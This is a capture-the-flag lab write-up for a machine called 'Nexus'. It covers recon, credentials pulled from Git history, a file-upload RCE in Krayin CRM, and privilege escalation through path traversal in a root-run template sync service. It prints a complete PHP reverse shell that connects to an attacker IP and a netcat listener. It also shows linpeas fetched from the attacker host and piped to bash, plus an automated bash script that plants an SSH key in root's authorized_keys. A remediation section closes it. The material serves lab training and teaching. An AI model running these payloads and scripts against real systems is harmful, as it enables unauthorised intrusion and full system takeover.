Executive Summary
This writeup documents the complete exploitation chain for the Nexus target system, from initial reconnaissance through root compromise. The attack leveraged:
- Exposed credentials in Git commit history
- Authenticated RCE via CRM file upload vulnerability (CVE-2026-38526)
- Path traversal in privileged template synchronization service
Phase 1: Reconnaissance
Step 1: Network Scanning
nmap -A-Pn 10.129.21.192 -oA nmap
Results:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.16
80/tcp open http nginx 1.24.0 (Ubuntu)
└─ Redirect: http://nexus.htb
Analysis: HTTP redirect to hostname suggests vhosts/subdomains exist
Step 2: Subdomain Enumeration
ffuf -u http://nexus.htb -H"HOST: FUZZ.nexus.htb"\-w subdomains-top1million-110000.txt -fs 154
Results:
git [Status: 200] ← Gitea instance
billing [Status: 302] ← CRM application
Add to /etc/hosts:
10.129.21.192nexus.htbgit.nexus.htbbilling.nexus.htbStep 3: Web Application Enumeration
nexus.htb (Main Site)
- Corporate landing page
- Key Finding: Hiring manager email visible:
j.matthew@nexus.htb
git.nexus.htb (Gitea)
Navigate to http://git.nexus.htb/ and click "Explore" button
Result: Lists all public repositories:
- admin/krayin-docker-setup ← This is what we need
- Accessible without authentication
- Contains
.env,docker-compose.yml, and documents
Two options to proceed:
- Manual browse: Click on the repo in Gitea UI, view files and commit history directly
- Clone locally:
git clone http://git.nexus.htb/admin/krayin-docker-setup(recommended for offline analysis)
billing.nexus.htb (Krayin CRM)
- Login portal visible
- Version: Krayin CRM 2.2.0 (shown after login)
Phase 2: Initial Access
Step 1: Extract Credentials from Git History
Clone the repo and check the logs and commits
git clone http://git.nexus.htb/admin/krayin-docker-setup
cd krayin-docker-setup
git log --onelineOutput:
9b817fa4e0 Upload files to "/"
1615c465b7 Upload files to "/"
Examine commit details:
git show 9b817fa4e0
CRITICAL FINDING (from diff):
DB_PASSWORD=N27xh!!2ucY04 (← OLD: plaintext password exposed!)
DB_PASSWORD= (← NEW: removed)
Credentials extracted:
- Username:
j.matthew@nexus.htb(from main site) - Password:
N27xh!!2ucY04(from Git history)
Step 2: Krayin CRM Authentication & RCE
Login: http://billing.nexus.htb/admin/login
- Email:
j.matthew@nexus.htb - Password:
N27xh!!2ucY04 - Result: ✓ Successfully authenticated
CRM Version Confirmed: 2.2.0 (visible in dashboard)
Step 3: Exploit CVE-2026-38526 (Authenticated File Upload RCE)
Vulnerability: TinyMCE media upload endpoint lacks file validation
Exploitation Steps:
Navigate to Mail section:
- Mail → Inbox → Compose Email
Intercept file upload in Burp Suite:
- Proxy → Intercept → ON
- Click image insertion icon in composer
- Select any image to upload
Modify the request:
- Filename: Change from
image.png→shell.php - Content: Replace image data with PHP reverse shell
- Maintain multipart form structure
- Filename: Change from
PHP Reverse Shell Payload (using Pentest Monkey): ( Grab it in from revshells.com)
File: shell.php - Replace image data with this exact code:
<?php// php-reverse-shell - A Reverse Shell implementation in PHP// https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php// Copyright (C) 2007 pentestmonkey@pentestmonkey.netset_time_limit(0);$VERSION="1.0";$ip='10.10.15.223';// CHANGE: Your attacker IP$port=4444;// CHANGE: Your listener port$chunk_size=1400;$write_a=null;$error_a=null;$shell='uname -a; w; id; sh -i';$daemon=0;$debug=0;if(function_exists('pcntl_fork')){$pid=pcntl_fork();if($pid==-1){printit("ERROR: Can't fork");exit(1);}if($pid){exit(0);}if(posix_setsid()==-1){printit("Error: Can't setsid()");exit(1);}$daemon=1;}else{printit("WARNING: Failed to daemonise.");}chdir("/");umask(0);$sock=fsockopen($ip,$port,$errno,$errstr,30);if(!$sock){printit("$errstr ($errno)");exit(1);}$descriptorspec=array(0=>array("pipe","r"),1=>array("pipe","w"),2=>array("pipe","w"));$process=proc_open($shell,$descriptorspec,$pipes);if(!is_resource($process)){printit("ERROR: Can't spawn shell");exit(1);}stream_set_blocking($pipes[0],0);stream_set_blocking($pipes[1],0);stream_set_blocking($pipes[2],0);stream_set_blocking($sock,0);printit("Successfully opened reverse shell to $ip:$port");while(1){if(feof($sock)){printit("ERROR: Shell connection terminated");break;}if(feof($pipes[1])){printit("ERROR: Shell process terminated");break;}$read_a=array($sock,$pipes[1],$pipes[2]);$num_changed_sockets=stream_select($read_a,$write_a,$error_a,null);if(in_array($sock,$read_a)){if($debug)printit("SOCK READ");$input=fread($sock,$chunk_size);if($debug)printit("SOCK: $input");fwrite($pipes[0],$input);}if(in_array($pipes[1],$read_a)){if($debug)printit("STDOUT READ");$input=fread($pipes[1],$chunk_size);if($debug)printit("STDOUT: $input");fwrite($sock,$input);}if(in_array($pipes[2],$read_a)){if($debug)printit("STDERR READ");$input=fread($pipes[2],$chunk_size);if($debug)printit("STDERR: $input");fwrite($sock,$input);}}fclose($sock);fclose($pipes[0]);fclose($pipes[1]);fclose($pipes[2]);proc_close($process);functionprintit($string){if(!$daemon){print"$string\n";}}?>Forward the modified request in Burp → Click "Forward"
Response reveals file location:
Location: /storage/tinymce/a307e3a6afdde1b488c02bd682c34f27.php
Step 4: Establish Reverse Shell
Attacker: Set up listener:
nc -lvnp 4444
Target: Access the PHP shell
curl http://billing.nexus.htb/storage/tinymce/a307e3a6afdde1b488c02bd682c34f27.php
Result: Reverse shell received as www-data
Step 5: Stabilize Shell (Recommended)
The initial reverse shell is unstable. Use one of these tools to upgrade:
Option A: Using pwncat-cs:
pwncat-cs -lp 4444
Option B: Using penelope:
penelope listen -p 4444
Both tools automatically handle shell stabilization and provide better stability/features than raw netcat.
Phase 3: User Access
Step 1: Enumerate System
From www-data shell:
www-data@nexus:/$ whoami
www-data
www-data@nexus:/$ id
uid=33(www-data)gid=33(www-data)groups=33(www-data)
www-data@nexus:/$ pwd
/var/www/html/krayin
Step 2: Extract Database Credentials
From Krayin CRM .env file:
www-data@nexus:/var/www/html/krayin$ cat .env
APP_NAME="Krayin CRM"APP_ENV=local
APP_KEY=base64:n4swv+4YcBtCr1OPHBe69GxK06/X1y1vCQU1SIMIC7Q=APP_DEBUG=true
APP_URL=http://billing.nexus.htb
APP_TIMEZONE=Asia/Kolkata
APP_LOCALE=en
APP_CURRENCY=USD
VITE_HOST=VITE_PORT=LOG_CHANNEL=stack
LOG_LEVEL=debug
DB_CONNECTION=mysql
DB_HOST=127.0.0.1
DB_PORT=3306
DB_DATABASE=krayin
DB_USERNAME=krayin
DB_PASSWORD=y27xb3ha!!74GbR ← CRITICAL FINDING!
DB_PREFIX=BROADCAST_DRIVER=log
CACHE_DRIVER=file
QUEUE_CONNECTION=sync
SESSION_DRIVER=file
SESSION_LIFETIME=120
MEMCACHED_HOST=127.0.0.1
REDIS_HOST=127.0.0.1
REDIS_PASSWORD=null
REDIS_PORT=6379
MAIL_MAILER=smtp
MAIL_HOST=mailhog
MAIL_PORT=1025
MAIL_USERNAME=null
MAIL_PASSWORD=null
MAIL_ENCRYPTION=null
MAIL_FROM_ADDRESS=laravel@krayincrm.com
MAIL_FROM_NAME="${APP_NAME}"MAIL_DOMAIN=webkul.com
MAIL_RECEIVER_DRIVER=sendgrid
IMAP_HOST=imap.example.com
IMAP_PORT=993
IMAP_ENCRYPTION=ssl
IMAP_VALIDATE_CERT=true
IMAP_USERNAME=your_username
IMAP_PASSWORD=your_password
AWS_ACCESS_KEY_ID=AWS_SECRET_ACCESS_KEY=AWS_DEFAULT_REGION=us-east-1
AWS_BUCKET=PUSHER_APP_ID=PUSHER_APP_KEY=PUSHER_APP_SECRET=PUSHER_APP_CLUSTER=mt1
MIX_PUSHER_APP_KEY="${PUSHER_APP_KEY}"MIX_PUSHER_APP_CLUSTER="${PUSHER_APP_CLUSTER}"Critical Finding: Database password = y27xb3ha!!74GbR
Step 3: Check System Users
www-data@nexus:/$ cat /etc/passwd | grep bash
root:x:0:0:root:/root:/bin/bash
jones:x:1000:1000:,,,:/home/jones:/bin/bash
git:x:111:112:Git Version Control,,,:/home/git:/bin/bash
Key Finding: User jones has shell access
Step 4: Password Reuse Attack
Attempt: Use database password for SSH login to jones:
ssh jones@nexus.htb
# Password: y27xb3ha!!74GbRResult: Successfully logged in as jones
jones@nexus:~$ id
uid=1000(jones)gid=1000(jones)groups=1000(jones),100(users)
jones@nexus:~$ cat user.txt
[REDACTED_USER_FLAG]
Phase 4: Privilege Escalation
Overview: Two Approaches
- Automated: Bash script (faster, single command)
- Manual: Step-by-step exploitation (educational)
Method 1: AUTOMATED Privilege Escalation (Recommended)
The automated script handles all steps of the exploit chain:
#!/bin/bash# Nexus Privilege Escalation - Automated Exploit# Exploits: Gitea template sync path traversal (runs as root)GITEA="http://localhost:3000"USER="jones"PASS='y27xb3ha!!74GbR'TARGET="10.129.21.192"echo"[*] =========================================="echo"[*] Nexus PrivEsc Exploit (Automated)"echo"[*] Target: Root via Template Sync Vuln"echo"[*] =========================================="# Step 1: Generate SSH key for root accessecho""echo"[*] STEP 1: Generating SSH key pair..."
ssh-keygen -t ed25519 -f /tmp/.exploit_key -N''-q 2>/dev/null ||true
PUBKEY=$(cat /tmp/.exploit_key.pub)echo"[+] SSH key generated at /tmp/.exploit_key"# Step 2: Get Gitea API tokenecho""echo"[*] STEP 2: Obtaining Gitea API token..."TOKEN=$(curl -s-X POST $GITEA/api/v1/users/$USER/tokens \-H"Content-Type: application/json"\-u"$USER:$PASS"\-d'{"name":"auto_token","scopes":["write:repository"]}'\
| grep-o'"sha1":"[^"]*"' | cut-d'"'-f4)if[-z"$TOKEN"];then
echo"[-] Failed to get token"exit 1
fi
echo"[+] Token acquired: $TOKEN"# Step 3: Create template repositoryecho""echo"[*] STEP 3: Creating template repository..."
curl -s-X POST $GITEA/api/v1/user/repos \-H"Authorization: token $TOKEN"\-H"Content-Type: application/json"\-d'{"name":"rce","private":false}'> /dev/null
curl -s-X PATCH $GITEA/api/v1/repos/$USER/rce \-H"Authorization: token $TOKEN"\-H"Content-Type: application/json"\-d'{"template":true}'> /dev/null
echo"[+] Repository created and marked as template"# Step 4: Build malicious git repository with path traversalecho""echo"[*] STEP 4: Building malicious git objects..."mkdir-p /tmp/rce_exploit &&cd /tmp/rce_exploit
git init > /dev/null 2>&1
# Create directory structure for path traversal# Uses relative paths to escape sandbox and reach /rootfor i in{1..5};do mkdir-p"../";done
mkdir-p"../../../../../root/.ssh"# Plant public key for SSH accessecho"$PUBKEY">"../../../../../root/.ssh/authorized_keys"# Commit malicious objects
git add .> /dev/null 2>&1
git commit -m"Template injection"> /dev/null 2>&1
echo"[+] Malicious git objects ready"# Step 5: Push to Gitea (triggers sync)echo""echo"[*] STEP 5: Pushing to Gitea repository..."
git remote add origin http://localhost:3000/$USER/rce.git
git push -u origin main 2>/dev/null | grep-q"master\|main"echo"[+] Pushed to repository"# Step 6: Wait for template sync serviceecho""echo"[*] STEP 6: Waiting for template sync (runs every 60 seconds)..."echo"[*] Monitor with: tail -f /var/log/template-sync.log"sleep 65
echo"[+] Sync period should have completed"# Step 7: Verify SSH key was plantedecho""echo"[*] STEP 7: Verifying SSH key installation..."
ssh -i /tmp/.exploit_key -oStrictHostKeyChecking=no \-oConnectTimeout=5 root@$TARGET"whoami" 2>/dev/null
if[$?-eq 0 ];then
echo"[+] SUCCESS! SSH key installed in /root/.ssh/authorized_keys"echo""echo"[*] STEP 8: Spawning root shell..."
ssh -i /tmp/.exploit_key -oStrictHostKeyChecking=no root@$TARGETelse
echo"[-] SSH connection failed"echo"[*] Debugging info:"echo" - Check /var/log/template-sync.log for sync logs"echo" - Verify jones has write access to Gitea"exit 1
fiUsage:
chmod +x exploit.sh
./exploit.sh
Expected Output:
[*] ==========================================
[*] Nexus PrivEsc Exploit (Automated)
[*] Target: Root via Template Sync Vuln
[*] ==========================================
[*] STEP 1: Generating SSH key pair...
[+] SSH key generated at /tmp/.exploit_key
[*] STEP 2: Obtaining Gitea API token...
[+] Token acquired: 35f78ffe03719548d26616b0a0bd2b30b5175f45
[*] STEP 3: Creating template repository...
[+] Repository created and marked as template
[*] STEP 4: Building malicious git objects...
[+] Malicious git objects ready
[*] STEP 5: Pushing to Gitea repository...
[+] Pushed to repository
[*] STEP 6: Waiting for template sync (runs every 60 seconds)...
[+] Sync period should have completed
[*] STEP 7: Verifying SSH key installation...
[+] SUCCESS! SSH key installed in /root/.ssh/authorized_keys
[*] STEP 8: Spawning root shell...
Welcome to Ubuntu 24.04.4 LTS
root@nexus:~#whoamiroot
Root flag obtained: [REDACTED]
Method 2: MANUAL Privilege Escalation (Educational)
Step 1: Discover Privilege Escalation Vector
Run linpeas for enumeration:
# On attacker machine
python3 -m http.server 8888
# On target
curl http://10.10.15.223:8888/linpeas.sh | bash | tee linpeas_output.txt
CRITICAL FINDING from linpeas output:
╔══════════╣ System timers
══╣ Active timers:
NEXT LEFT UNIT ACTIVATES
Wed 2026-06-24 16:15:30 28s gitea-template-sync.timer gitea-template-sync.service ← RUNS AS ROOT!
Wed 2026-06-24 16:20:00 4min sysstat-collect.timer
...
Step 2: Examine Root Service
jones@nexus:~$ systemctl cat gitea-template-sync.timer
[Unit]
Description=Run Gitea template sync every minute
[Timer]
OnBootSec=1min
OnUnitActiveSec=1min
Unit=gitea-template-sync.service
[Install]
WantedBy=timers.target
jones@nexus:~$ systemctl cat gitea-template-sync.service
[Unit]
Description=Sync Gitea templates
After=network-online.target
[Service]
Type=oneshot
User=root ← RUNS AS ROOT!
ExecStart=/usr/bin/python3 /etc/gitea/template-sync.py
TimeoutStartSec=50s
Step 3: Analyze Vulnerable Script
jones@nexus:~$ cat /etc/gitea/template-sync.py
Key Code Sections (showing vulnerability):
importosimportjsonimportsubprocessGITEA_URL="http://localhost:3000"REPO_ROOT="/var/lib/gitea/data/gitea-repositories"STAGING_DIR="/home/git/template-staging"LOG_FILE="/var/log/template-sync.log"defget_template_repos(token):url="%s/api/v1/repos/search?limit=50"%GITEA_URL# ... fetch all template repos ...
return[rforrinreposifr.get('template',False)]defsync_template(repo_info):owner=repo_info['owner']['login']name=repo_info['name'].lower()bare_path=os.path.join(REPO_ROOT,owner,"%s.git"%name)stage_path=os.path.join(STAGING_DIR,owner,name)# VULNERABILITY: Git ls-tree reads all objects without validation
result=subprocess.run(['git','ls-tree','-r','HEAD'],cwd=bare_path,capture_output=True,text=True)# VULNERABILITY: Iterates through ALL files, including paths with ..
forlineinresult.stdout.strip().split('\n'):parts=line.split('\t',1)iflen(parts)!=2:continuemeta,filepath=parts# CRITICAL: No path validation! Path traversal possible
target=os.path.join(stage_path,filepath)# Extract file to target (can be outside repo!)
result=subprocess.run(['git','cat-file','blob',objhash],cwd=bare_path,capture_output=True)# Write anywhere, as root!
withopen(target,'wb')asf:f.write(result.stdout)log(" synced: %s"%filepath)if__name__=='__main__':# Runs every 60 seconds as root
main()Vulnerabilities Identified:
- Path Traversal: No validation of
filepath - No Sanitization: Allows
../sequences - Runs as Root: Full system compromise possible
- No Rate Limiting: Can be triggered frequently
Step 4: Manual Exploitation
Step 4a: Generate SSH Key
jones@nexus:/tmp$ ssh-keygen -t ed25519 -f /tmp/malicious_key -N""
Generating public/private ed25519 key pair.
Your identification has been saved in /tmp/malicious_key
Your public key has been saved in /tmp/malicious_key.pub
jones@nexus:/tmp$ cat /tmp/malicious_key.pub
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIC32yZXq3jqAq1H7OMDaZC6AybsfEjVWibtaB2/7OQ0R jones@nexus
Step 4b: Create Gitea API Token
jones@nexus:/tmp$ curl -X POST http://localhost:3000/api/v1/users/jones/tokens \-H"Content-Type: application/json"\-u'jones:y27xb3ha!!74GbR'\-d'{"name":"exploit_token","scopes":["write:repository"]}'{"id": 2,
"name": "exploit_token",
"sha1": "35f78ffe03719548d26616b0a0bd2b30b5175f45",
...
}TOKEN="35f78ffe03719548d26616b0a0bd2b30b5175f45"Step 4c: Create Template Repository
jones@nexus:/tmp$ curl -X POST http://localhost:3000/api/v1/user/repos \-H"Authorization: token $TOKEN"\-H"Content-Type: application/json"\-d'{"name":"rce","private":false}'{"id": 2, "name": "rce", "full_name": "jones/rce", ...}# Mark as template
curl -X PATCH http://localhost:3000/api/v1/repos/jones/rce \-H"Authorization: token $TOKEN"\-H"Content-Type: application/json"\-d'{"template":true}'{"template": true, ...}Step 4d: Build Malicious Git Repository
jones@nexus:/tmp$ mkdir rce &&cd rce
jones@nexus:/tmp/rce$ git init
Initialized empty Git repository in /tmp/rce/.git/
# Create directory structure using path traversal
jones@nexus:/tmp/rce$ mkdir-p"$(printf'../%.0s'{1..5})root/.ssh"# Plant public key
jones@nexus:/tmp/rce$ echo"$(cat /tmp/malicious_key.pub)">\"$(printf'../%.0s'{1..5})root/.ssh/authorized_keys"# Verify file exists
jones@nexus:/tmp/rce$ ls-la ../../../../../root/.ssh/authorized_keys
ls: cannot access '../../../../../root/.ssh/authorized_keys': No such file or directory
# (Expected - we're just staging in git, not actual filesystem)# Commit to git
jones@nexus:/tmp/rce$ git add .
jones@nexus:/tmp/rce$ git commit -m"RCE via path traversal"[main (root-commit) 523974c] RCE via path traversal
Step 4e: Push to Gitea
jones@nexus:/tmp/rce$ git remote add origin http://localhost:3000/jones/rce.git
jones@nexus:/tmp/rce$ git push -u origin main
Enumerating objects: 11, done.
Counting objects: 100% (11/11), done.
Delta compression using up to 2 threads
Compressing objects: 100% (3/3), done.
Writing objects: 100% (11/11), 614 bytes
Total 11 (delta 0), reused 0 (delta 0), pack-reused 0
remote: . Processing 1 references
remote: Processed 1 references in total
To http://localhost:3000/jones/rce.git
*[new branch] main -> main
Step 4f: Wait for Sync Timer
Service runs every 60 seconds. Monitor the log:
jones@nexus:/tmp$ tail-f /var/log/template-sync.log
[2026-06-25 03:08:07] Template sync complete[2026-06-25 03:09:07] Template sync starting
[2026-06-25 03:09:07] Found 3 template repo(s)[2026-06-25 03:09:07] Syncing template: jones/evil
[2026-06-25 03:09:07] ls-tree failed: fatal: Not a valid object name HEAD
[2026-06-25 03:09:07] Syncing template: jones/pwn
[2026-06-25 03:09:07] synced: ../../.ssh/authorized_keys ← PATH TRAVERSAL!
[2026-06-25 03:09:07] Syncing template: jones/rce
[2026-06-25 03:09:07] ls-tree failed: fatal: Not a valid object name HEAD
[2026-06-25 03:09:07] Template sync complete[2026-06-25 03:10:07] Template sync starting
[2026-06-25 03:10:07] Found 1 template repo(s)[2026-06-25 03:10:07] Syncing template: jones/rce
[2026-06-25 03:10:07] synced: README.md
[2026-06-25 03:10:08] synced: ../../../../../root/.ssh/authorized_keys ← KEY INSTALLED!
[2026-06-25 03:10:08] Template sync completeSUCCESS: ../../../../../root/.ssh/authorized_keys was synced!
Step 4g: SSH as Root
jones@nexus:/tmp$ ssh -i /tmp/malicious_key -oStrictHostKeyChecking=no root@10.129.21.192
Welcome to Ubuntu 24.04.4 LTS (GNU/Linux 6.8.0-111-generic x86_64)
...
root@nexus:~# whoami
root
root@nexus:~# id
uid=0(root)gid=0(root)groups=0(root)
root@nexus:~# cat root.txt
[REDACTED_ROOT_FLAG]
** PRIVILEGE ESCALATION SUCCESSFUL**
Attack Chain Summary
┌─────────────────────────────────────────────────────────────┐
│ 1. RECONNAISSANCE (5 min) │
│ ├─ Network scan: Find ports 22, 80 │
│ ├─ Subdomain enum: Discover git.nexus.htb, billing.nexus │
│ └─ Web recon: Identify Gitea + Krayin CRM │
└────────────────────────────────┬────────────────────────────┘
│
┌────────────────────────────────▼────────────────────────────┐
│ 2. CREDENTIAL EXTRACTION (3 min) │
│ ├─ Clone public Git repository │
│ ├─ Review commit history │
│ └─ Extract: j.matthew@nexus.htb / password │
└────────────────────────────────┬────────────────────────────┘
│
┌────────────────────────────────▼────────────────────────────┐
│ 3. WEB RCE (10 min) │
│ ├─ Authenticate to Krayin CRM v2.2.0 │
│ ├─ Identify TinyMCE upload endpoint vulnerability │
│ ├─ Upload malicious PHP via Burp interception │
│ ├─ Trigger reverse shell callback │
│ └─ Achieve: www-data shell │
└────────────────────────────────┬────────────────────────────┘
│
┌────────────────────────────────▼────────────────────────────┐
│ 4. LATERAL MOVEMENT (2 min) │
│ ├─ Extract DB credentials from .env │
│ ├─ Identify jones user from /etc/passwd │
│ ├─ Attempt password reuse on SSH │
│ └─ Achieve: jones shell (UID 1000) │
└────────────────────────────────┬────────────────────────────┘
│
┌────────────────────────────────▼────────────────────────────┐
│ 5. PRIVILEGE ESCALATION (2-3 min) │
│ ├─ Run linpeas → Discover gitea-template-sync.timer │
│ ├─ Analyze service: Runs as root, syncs Gitea templates │
│ ├─ Identify: Path traversal in template file extraction │
│ ├─ Create malicious template repo with ../../root/.ssh │
│ ├─ Push to Gitea, wait 60 sec for sync │
│ └─ Achieve: SSH key in /root/.ssh/authorized_keys │
└────────────────────────────────┬────────────────────────────┘
│
┌────────────▼────────────┐
│ 6. ROOT SHELL (instant) │
│ ssh -i key root@target │
│ whoami: root ✓ │
└─────────────────────────┘
Key Vulnerabilities
| # | Vulnerability | CVSS | Type | Impact |
|---|---|---|---|---|
| 1 | Exposed Git History | High | Config | Credential leakage |
| 2 | CVE-2026-38526 (CRM) | 9.9 | RCE | Authenticated RCE |
| 3 | Password Reuse | High | Access | Lateral movement |
| 4 | Path Traversal (Sync) | Critical | PrivEsc | Root compromise |
| 5 | No Input Validation | Critical | Design | Template injection |
Remediation
Immediate Actions
- [ ] Rotate all exposed credentials
- [ ] Patch Krayin CRM to latest version
- [ ] Review Git history for other exposed secrets
- [ ] Restrict Gitea API token scopes
Long-term Fixes
- [ ] Run privileged services with minimal permissions (not root)
- [ ] Implement path sanitization in template-sync.py
- [ ] Add file integrity monitoring (AIDE/Tripwire)
- [ ] Enable MFA for all accounts
- [ ] Enforce unique passwords per service
- [ ] Regular security audits of cron/systemd services
Tools Used
- nmap - Network enumeration
- ffuf - Subdomain discovery
- Burp Suite - HTTP interception & modification
- pwncat/penelope - Shell stabilization
- linpeas - Privilege escalation enumeration
- git - Repository cloning & manipulation
- curl - API interaction
This writeup is for authorized security testing and educational purposes only.



Top comments (0)